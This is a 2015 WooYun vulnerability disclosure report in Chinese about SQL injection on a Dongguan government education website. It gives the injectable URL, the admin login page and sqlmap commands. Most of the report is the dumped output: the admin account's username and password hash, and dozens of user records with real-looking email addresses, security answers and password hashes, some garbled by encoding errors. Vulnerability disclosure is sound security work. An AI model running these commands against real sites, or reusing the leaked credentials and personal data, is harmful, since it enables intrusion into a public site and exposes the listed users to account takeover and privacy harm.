漏洞概要 关注数(24) 关注此漏洞
缺陷编号：wooyun-2015-0106038
漏洞标题：某政府网站注入一枚，（拿到web权限）
相关厂商：广东省信息安全测评中心
漏洞作者： 小天
提交时间：2015-04-08 14:43
修复时间：2015-05-25 10:46
公开时间：2015-05-25 10:46
漏洞类型：SQL注射漏洞
危害等级：高
自评Rank：20
漏洞状态：已交由第三方合作机构(广东省信息安全测评中心)处理
漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签： 无
漏洞详情
披露状态：
2015-04-08： 细节已通知厂商并且等待厂商处理中
2015-04-10： 厂商已经确认，细节仅向厂商公开
2015-04-20： 细节向核心白帽子及相关领域专家公开
2015-04-30： 细节向普通白帽子公开
2015-05-10： 细节向实习白帽子公开
2015-05-25： 细节向公众公开
简要描述：
为政府网做贡献
详细说明：
注入点；http://hjedu.dg.gov.cn/printpage.asp?articleid=7808
后台登陆点：http://hjedu.dg.gov.cn/Admin_login.asp
sqlmap.py -u http://hjedu.dg.gov.cn/printpage.asp?articleid=7
808 --tables
Database: Microsoft_Access_masterdb
[4 tables]
+---------+
| user |
| admin |
| article |
| vote |
+---------+
Database: Microsoft_Access_masterdb
Table: admin
[1 entry]
+----+------+------------+------------------+
| id | data | username | password |
+----+------+------------+------------------+
| 47 | <blank> | hjeduadmin | 5a8327c91d8b39fd |
+----+------+------------+------------------+
e0f4c4c886efc827
131422
sqlmap.py -u http://hjedu.dg.gov.cn/printpage.asp?articleid=7
808 --dump -T user
email username question homepage password
jk@111.com hjjb 1234567890 http:// e0f4c4c886efc827
wenhaijiao@yeah.net ??N-[f u5?R\x06g: http:// 323b453885f5181f
hjyyxxlhj@163.com ??\\\x0f[f u5?R\x06g: http:// 76b4f3a9e37fdef6
348395795@qq.com e\\?b0NP[fh! u5?R\x06g: http:// 3c8e92815ec07ef2
yangssssss@139.com \x7f\\?f0gp[fh! u5?R\x06g: http:// 66974dabb961440b
wangxiqi@126.com ?k#\\\x0f[f u5?R\x06g: <blank> f41f17b6347a533a
2121@1313.com ?~\\?e3^|Q?V\\?ed u5?R\x06g: http:// 323b453885f5181f
2121@1313.com ??^|Q?V\\?ed u5?R\x06g: http:// 323b453885f5181f
2121@1313.com |\\?be?^|Q?V\\?ed u5?R\x06g: http:// f5d07af355640e9e
2121@1313.com r1NPQ?^|Q?V\\?ed u5?R\x06g: http:// 26ecc6bec863ca7a
hhhz@126.com hjjbhdq fghghfgjhfg http:// ff1be1d7443810df
2121@1313.com SN?^|Q?V\\?ed u5?R\x06g: http:// 38463ddb042fffbd
2121@1313.com ~\\?a2?g\\?9c^|Q?V\\?ed u5?R\x06g: http:// fa6168e6e930a9f3
2121@1313.com ??^|Q?V\\?ed u5?R\x06g: http:// 294e14abda9cc7d8
2121@1313.com e\\?b0NP^|Q?V\\?ed u5?R\x06g: http:// f82d132f9bb018ca
2121@1313.com \\\x0fh\\?eeg\\?97^|Q?V\\?ed u5?R\x06g: http:// bc9d7ae819d968f4
2121@1313.com e\\?b0N\x16~\\?aa^|Q?V\\?ed u5?R\x06g: http:// 83aa400af464c76d
2121@1313.com u0_\\?c3^|Q?V\\?ed u5?R\x06g: http:// 15e53fbeabe8a4dd
2121@1313.com ?r[W\\?d4^|Q?V\\?ed u5?R\x06g: http:// 323b453885f5181f
2121@1313.com z\\?e5f\x1f^|Q?V\\?ed u5?R\x06g: http:// 0aae10455aece531
2121@1313.com Y*?\\\\?9b^|Q?V\\?ed u5?R\x06g: http:// f82d132f9bb018ca
2121@1313.com ?l_N-[f u5?R\x06g: http:// 2768f54d97c3b4f0
hhjk@126.com hjkjbzjy ghdfghdfghdfghdf http:// 323b453885f5181f
942ky@163.com hjjbzz fdhsdfhsdfhfh http:// 4cbe416d4c6886b8
dgdsgd@126.com xianlan wrqegwegegweg http:// 759b4ca9558b030a
fdg@163.com W\\?f9?^|Q?V\\?ed Q\\?e4Q\\?f0a\x1fS\\?d7R0Q\\?e4Q\\?f0 http:// f82d132f9bb018ca
nglklg@163.com W\\?f9?\\\x0f[f N\\?caQ?S\\?bbn)l\\?c9e\\?87]\\?e5V\\?e2 http:// 0866fb86551294c4
zdff@122.com hjxxjszxz eqewtqwetewt http:// bc27e38a425e57e2
zgha@122.com hjyyzxz gagasgergwer http:// bc27e38a425e57e2
shg@111.com hjmszxz jgwejs;fsd http:// bc27e38a425e57e2
zdajkhf@126.com h\\?d5i\\?88l\\?c9^|Q?V\\?ed e9Y}ipjpj http:// f82d132f9bb018ca
212@126.com N-_\\?c3\\\x0f[f ?N\rY}[\\?f9N\\?d8f\\?f4Y}W0e\\?b9]\\?e5O\x1a http:// 323b453885f5181f
jaslg@126.com hjjbkaikai sdgdgjgkhhjl http:// 0d497134e180c023
junmei@126.com O\\?ca\x7f\\?8e^|Q?V\\?ed gas[\\?f9Vv\\\x14ueryer http:// 7d52c47e290c0ec5
dhf@126.com ?miQ\\?e1 f\\?f4OUQ\\?b5\\\x06mw?zz http:// c9c38b63ab3e986a
fasdf@126.com test qfasdasdgasdg http:// 323b453885f5181f
jkga@126.com f%?V\\?ed^|Q?V\\?ed f/Vv?foT\\?8cN\x1ce\\?b9~\\?a2 http:// f82d132f9bb018ca
fsd@126.com N\x1c?V\\?ed^|Q?V\\?ed QlS\\?f8TJ?[\\?f9e\\?b9 http:// f82d132f9bb018ca
gfdgdfg@163.com zbtzbt fgasdfasdf http:// f82d132f9bb018ca
jlkfsdf@163.com ??s\\?fa^\\?ad^|Q?V\\?ed V[Wvasd http:// 10248d640572dd40
dfndfg@163.com SN_i^|Q?V\\?ed S\\?cce\\?b9v\\?84S\\?d1u\x1fv\\?84 http:// 77804d2ba1922c33
dfhsdfh@126.com r1_\\?c3?^|Q?V\\?ed ^rd\\?92v\\?84V\x0ee\\?af? http:// f82d132f9bb018ca
swtang2008@yahoo.com.cn {,N\\?8c\\\x0f[f ?N\rY}[\\?f9N\\?d8f\\?f4Y}W0e\\?b9]\\?e5O\x1a http://www.dghjex.com 4069afd5f2a59bba
212@126.com [\\?9e?\\\x0f[f ?N\rY}[\\?f9N\\?d8f\\?f4Y}W0e\\?b9]\\?e5O\x1a http:// 083986a3a15a41b4
212@126.com h\\?85XX\\\x0f[f ?N\rY}[\\?f9N\\?d8f\\?f4Y}W0e\\?b9]\\?e5O\x1a http:// 973946fb2518ed73
hjclxx@126.com ??\\\x0f[f ?N\rY}[\\?f9N\\?d8f\\?f4Y}W0e\\?b9]\\?e5O\x1a <blank> 0f5e94db68016235
212@126.com N-_\\?c3^|Q?V\\?ed ?N\rY}[\\?f9N\\?d8f\\?f4Y}W0e\\?b9]\\?e5O\x1a http:// f787902d3274d227
漏洞证明：
rt
修复方案：
过滤
版权声明：转载请注明来源 小天@乌云
漏洞回应
厂商回应：
危害等级：高
漏洞Rank：10
确认时间：2015-04-10 10:45
厂商回复：
非常感谢您的报告。
报告中的问题已确认并复现.
影响的数据：高
攻击成本：低
造成影响：高
综合评级为：高，rank：10
正在联系相关网站管理单位处置。
最新状态：
暂无